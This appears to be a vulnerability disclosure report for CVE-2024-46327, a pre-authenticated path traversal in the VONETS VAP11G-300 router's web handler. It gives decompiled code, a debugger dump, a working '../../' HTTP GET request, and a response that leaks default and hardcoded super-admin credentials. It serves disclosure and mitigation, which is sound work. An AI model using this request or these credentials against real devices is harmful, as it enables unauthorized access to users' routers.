



HAWKTESTERS

AUGUST 2024



PATH TRAVERSAL

CVE-2024-46327

PRESENTED BY

Table of Contents

Vulnerability Description.....	2
Presentation of CVE-2024-46327.....	3
Issue.....	3
Mitigation.....	3
Versions Affected.....	3
Technical Description.....	4
Description.....	4
Issue(s).....	4
Proof of Concept.....	4
Conclusions.....	6



Vulnerability Description

Presentation of CVE-2024-46327

Issue

Hawktesters identifies a vulnerability in the VONETS VAP11G-300 router, on the `Http_handle` object that references the `settings` binary. The vulnerability allows users to arbitrarily read files from the system without any restriction, in a pre-authenticated way.

Mitigation

To mitigate this vulnerability, it is essential to apply a patch on the Boolean method `Is_File_Exist` which uses the native `stat` method which interprets relative paths.

Versions Affected

The details can be seen in the following table.

Device Name	VAP11G_300
Hardware Version	VER6.0
Software Version	3.3.23.6.9 (Jun 9 2023 14:52:17)
Library Version	2022.11.23



Technical Description

Description

Vonets VAP11G-300 is a professional 300Mbps wifi bridge of small size that also performs the function of WiFi repeater. The new design is unique in the world and ensures long-lasting stability. It is based on IEEE 802.11n, IEEE 802.11b and IEEE 802.11g standards.

Issue(s)

Hawktesters has discovered a vulnerability in the `Http_handle` object associated with the settings binary which allows pre- and post-authenticated reading of system files without any restrictions in the device's operating system.

Proof of Concept

Through reverse engineering it is possible to identify a Path Traversal vulnerability in the `HTTP_Handle` object which invokes a function called `Is_File_Exist`.

```
bool Is_File_Exist(char *param_1, __time_t *param_2)
{
    int iVar1;
    stat sStack_a0;

    iVar1 = stat(param_1, &sStack_a0);
    if (iVar1 == 0) {
        *param_2 = sStack_a0.st_atim.tv_sec;
    }
    return iVar1 == 0;
}
```



This function uses the native method of c stat which by passing it a relative path it is possible to read the file content using ../

```
0wndbg>
0x4099d9c in Http_Handle ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

V0 0x0
V1 0x472020 ← jalx 0x1cd95d0 /* 'testStatus.asp' */
A0 0x7fc4e818 ← '/etc_ro/web/../../etc_ro/Wireless/RT2860AP/RT2860_default_vlan'
A1 0x0
A2 0x411023 ← 0x3900
A3 0x0
T0 0x41d370 ← 0x94465e3
T1 0x81c19a40
T2 0x0
T3 0xffffffff
T4 0x2b07a210 ( __malloc_state+32) ← 0x0
T5 0x81a99e50
T6 0x0
T7 0x6365736e ('nsec')
T8 0x18
T9 0x2b0242a0 (memset) ← move $v0, $a0
S0 0x1
S1 0x41f660 ← '../..etc_ro/Wireless/RT2860AP/RT2860_default_vlan'
S2 0x470000 ← jr $ra
S3 0x7fc4e528 ← 0x0
S4 0x7fc4e818 ← '/etc_ro/web/../../etc_ro/Wireless/RT2860AP/RT2860_default_vlan'
S5 0x0
S6 0x4781c4 ← movz $zero, $zero, $zero /* '\n' */
S7 0x7fc4eb3c ← 0x1ab
S8 0x4ca190 ← 0x2e323900
GP 0x4d1000 ← 0x0
FP 0x7fc4e9c0 → 0x7fc4eb10 ← 0x0
SP 0x7fc4e510 → 0x7fc4e500 ← 0x30 /* '0' */
*PC 0x4099dac (Http_Handle+1792) ← lw $s3, 0x24($s3) /* 'S' */

0x409d98 <Http_Handle+1772> bnez $v0, Http_Handle+2752 <0x40a10c>
0x409d9c <Http_Handle+1776> addiu $s4, $sp, 0x308
0x409da0 <Http_Handle+1780> lw $t9, -0x7bc8($gp)
0x409da4 <Http_Handle+1784> move $a0, $s4
0x409da8 <Http_Handle+1788> move $a1, $zero
▶ 0x409dac <Http_Handle+1792> lw $s3, 0x24($s3)
0x409db0 <Http_Handle+1796> jalr $t9
0x409db4 <Http_Handle+1800> addiu $a2, $zero, 0x100
0x409db8 <Http_Handle+1804> lw $gp, 0x10($sp)
0x409dbc <Http_Handle+1808> nop
0x409dc0 <Http_Handle+1812> lw $v1, -0x7fd8($gp)

[ STACK ]
00:0000 sp 0x7fc4e510 → 0x7fc4e500 ← 0x30 /* '0' */
01:0004 0x7fc4e514 → 0x7fc4e6d8 → 0x7fc4e720 ← 0x0
02:0008 0x7fc4e518 ← 0x30 /* '0' */
03:000c 0x7fc4e51c ← 0x30 /* '0' */
04:0010 0x7fc4e520 → 0x4d1000 ← 0x0
05:0014 0x7fc4e524 ← 0x2
06:0018 s3 0x7fc4e528 ← 0x0
07:001c 0x7fc4e52c ← 0x1

[ BACKTRACE ]
▶ 0 0x409dac Http_Handle+1792
1 0x4091bc VSOCK_Start+2736
2 0x40ae00 main+788
3 0x2b002b04 __uClibc_main+672
```

Due to the lack of additional validations such as file extensions and the classification of private and public paths in the system, it is possible to read private data outside the context of /etc_ro/web/.

So by performing an HTTP GET request you can read documents inside and outside the /etc_ro/web/ context.



```
GET ../../etc_ro/Wireless/RT2860AP/RT2860_default_vlan HTTP/1.1
Host: vonets.cfg
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://vonets.cfg/home.asp?fsrc=wizard
Upgrade-Insecure-Requests: 1
```

This will finally allow reading files from the system by traversing paths.

```
GET ../../etc_ro/Wireless/RT2860AP/RT2860_default_vlan HTTP/1.1
Host: vonets.cfg
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://vonets.cfg/home.asp?fsrc=wizard
Upgrade-Insecure-Requests: 1

1 HTTP/1.1 200 OK
2 Server: VONETS.COM WEBS/1.0
3 Content-Length: 5209
4 Connection: close
5 Content-Type: text/plain
6
7 #The word of 'Default' must not be removed
8 Default
9 AntennaDiversity=Antenna0
10 FixedTxMode=HT
11 macCloneEtbl=0
12 macCloneMac=
13 webInit=1
14 RadioOff=0
15 RaOff=0
16 Language=en
17 WAPingFilter=0
18 SPIPwEnabled=0
19 BlockPortScan=0
20 BlockSynFlood=0
21 HostName=ralink
22 Login=admin
23 Password=admin
24 SuperLogin=wonets
25 SuperPassword=wonets26642519
26 OperationMode=1
27 Platform=MT7620
28 RemoteManagement=1
29 wan_dhcp_hn=VONETS.COM
30 wanConnectionMode=DHCP
31 wan_ipaddr=192.168.1.1
32 wan_netmask=255.255.255.0
33 wan_gateway=192.168.1.254
34 wan_primary_dns=
35 wan_secondary_dns=
36 wan_pppoe_user=
37 wan_pppoe_pass=
38 wan_l2tp_server=
39 wan_l2tp_user=
40 wan_l2tp_pass=
41 wan_l2tp_mode=0
42 wan_l2tp_ip=192.168.1.1
43 wan_l2tp_netmask=255.255.255.0
44 wan_l2tp_gateway=192.168.1.254
```

Conclusions

Finally, this vulnerability allows an attacker to make arbitrary reads of all types of files existing on the device inside and outside the context of `/etc_ro/web/` in a pre-authenticated manner as well, which is a high-risk vector.

